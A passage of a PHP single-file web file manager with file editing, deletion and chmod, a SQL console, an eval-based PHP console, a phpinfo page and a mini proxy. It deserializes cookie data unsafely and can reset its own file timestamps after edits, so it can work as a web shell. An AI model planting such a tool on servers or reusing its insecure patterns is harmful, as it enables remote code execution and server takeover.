	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').'    '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		// ܧѧ -       ا     էާ֧ߧ     ߧѧէ 
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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